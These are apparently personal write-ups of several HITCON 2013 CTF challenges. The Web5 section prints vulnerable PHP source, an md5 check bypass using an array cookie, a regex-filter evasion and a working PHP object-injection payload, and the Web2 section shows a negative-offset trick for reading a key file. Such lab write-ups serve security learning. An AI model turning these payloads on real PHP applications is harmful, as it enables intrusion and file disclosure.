HITCON2013 解題 - Roulette5

前面HackStuff的其他成員已經幫我把Dark.rar裡面的東西解完了,真的好黑暗的壓縮檔,最好在ram disk下弄,不然很傷 QAQ
當你解完100層之後會看到一張嘲諷臉,告訴你還沒完,接下來的壓縮檔名很關鍵,4D.rar 5A.rar 90.rar 00.rar,
好熟悉阿,這不是WindowsPE的header嗎?

HITCON2013 解題 - Web5

因為 Wargame 關了  把還記得的部分寫上來。
這題還蠻有趣的
是關於 PHP 的 object injection,主要是 unserialize 出了問題。





















http://pastebin.com/pykQL896  chall.phps 原始碼


首先,這題有三個保護
一:bypass md5
  1. $checksum = $_COOKIE['checksum'];
  2. if ( @md5($checksum) == '' ) {
這邊要輸入一個可以通過檢查的 checksum cookie
不然程式會一直跳到 FakeKey 那邊進行讀取。
查了一下 md5 函數不管輸入怎樣的字串都不會回應 '' 空值,因此是要使它出錯
利用 firefox cookie editor 插入 checksum[] =  利用塞入陣列方式讓其出錯就可以了。

二:encrypt & bypass safe function
  1. base64_decode( $auth_str );
  2.     $auth_str = mcrypt_decrypt

因此要自己進行一次 base64_encode 跟 mcrypt_encrypt
而Safe function有一些regular expression要bypass
  1.     if ( is_string( $s ) && strpos( $s, "\0" ) === false ) {
  2.         if ( strpos( $s, 'O:' ) === false ) {
  3.             return true;
  4.         } else if ( ! preg_match('/(^|;|})s:[+\-0-9]+:"/', $s ) ) {
  5.             return true;
  6.         }
由於下面產出來的 payload 最後長這樣  'O:3:"qoo":1:{S:7:"key_var";S:3:"Key";}';
由於過濾了s(字串),這邊改成大寫S就過了
然後base64的字串會出現+號,用urlencode繞過即可。

三:utilize unserialize php object injection
https://www.owasp.org/index.php/PHP_Object_Injection
查閱 OWASP 文件後,可以知道 PHP 在處理反序列化(unserialize)的時候有 bug
如果在上面有宣告物件,它在unserialize的時候會自動的執行類似
function __destruct(){
這樣的函數

我們看一下原始碼
  1.  $cookie_key  =  "◢▆▅▄▃崩╰(〒皿〒)╯潰▃▄▅▇◣";
  2.  $iv          =  "00000000";

  3. class qoo{
  4.     var $key_var = "FakeKey";
  5.     function __construct(){}
  6.  
  7.     function __destruct(){
  8.         $keyfile = $this->key_var . ".php";
  9.         $keyfile = basename( $keyfile );
  10.  
  11.         include( $keyfile );
  12.  
  13.         print $key;
  14.     }

  15. }

  1.     $auth_str = $_COOKIE['auth_str'];
  1.         unserialize( $auth_str );

如果沒有第二步的檢查,一般的 object 注入方法是
建構一個跟上面一樣的 class qoo,加入要覆蓋的 key_var,然後將這個 class serialize 序列化
<?php
class qoo{
    var $key_var = "Key";
}

$class = new qoo();
$class_ser = serialize($class);
print_r($class_ser);
?>

將 payload $class_ser   'o:3:"qoo":1:{s:7:"key_var";s:3:"Key";}';  unserialize
就會觸發 qoo 的 __destruct
同時會覆蓋區域變數 key_var,這樣就可以讀到 Key.php 了。

HITCON2013 解題 - Forensics2

file link

摁,pptx,HIT的圖片和一個link
事情怎麼可能這麼簡單?
docx, xlsx, pptx…等等的格式其實是zip壓縮檔 + xml格式文件,所以就把它解壓縮吧!
東找找西找找之後你發現ppt/media/image2.png這裡有個無敵數位黨證,事情當然也沒有這麼簡單,它除了無敵數位黨證之外,還包含了你的key,圖片內含key?用Notepad++看一下之後好像沒什麼發現,那應該是圖片+壓縮檔的方式吧
什麼?有密碼?猜吧。HIT, HITCON, HITCON2013, HIT2013,終於現出原形了!

HITCON2013 解題 - Forensics1

檔案連結
這題拜 HackThisSite Realistic 15 所賜,直接秒解 XD
Youtube 影片

在hitcon.org上找到圖檔後直接下影片中的參數得key。

HITCON2013 解題 - Web1 & Web2 & Web3

Web 1
wargame link

第一直覺:看Source
果不其然,馬上看到了可疑的東西…
第101行的地方,有一段用aaencode (http://utf-8.jp/public/aaencode.html ) 混淆過的JS Code,貼到Console執行就秒殺第一題了

Web 2
wargame link

負數
read.php?pos=-1
$offset = ($_REQUEST['pos'] - 1 ) * 128 + 32 ;
$offset = -224;

讀取 _DIR 負的起始點開始讀取
一直到
if ( @$fpstr[$j] == "\x00"){break;}

構造 _DIR內容為
/var/www/c/key.php

所以第一篇文章 title
是 /var/www/c/key.php

Web 3

wargame link
code連結
關鍵在favicon.ico,請從各個角度觀看,就會發現驗證碼..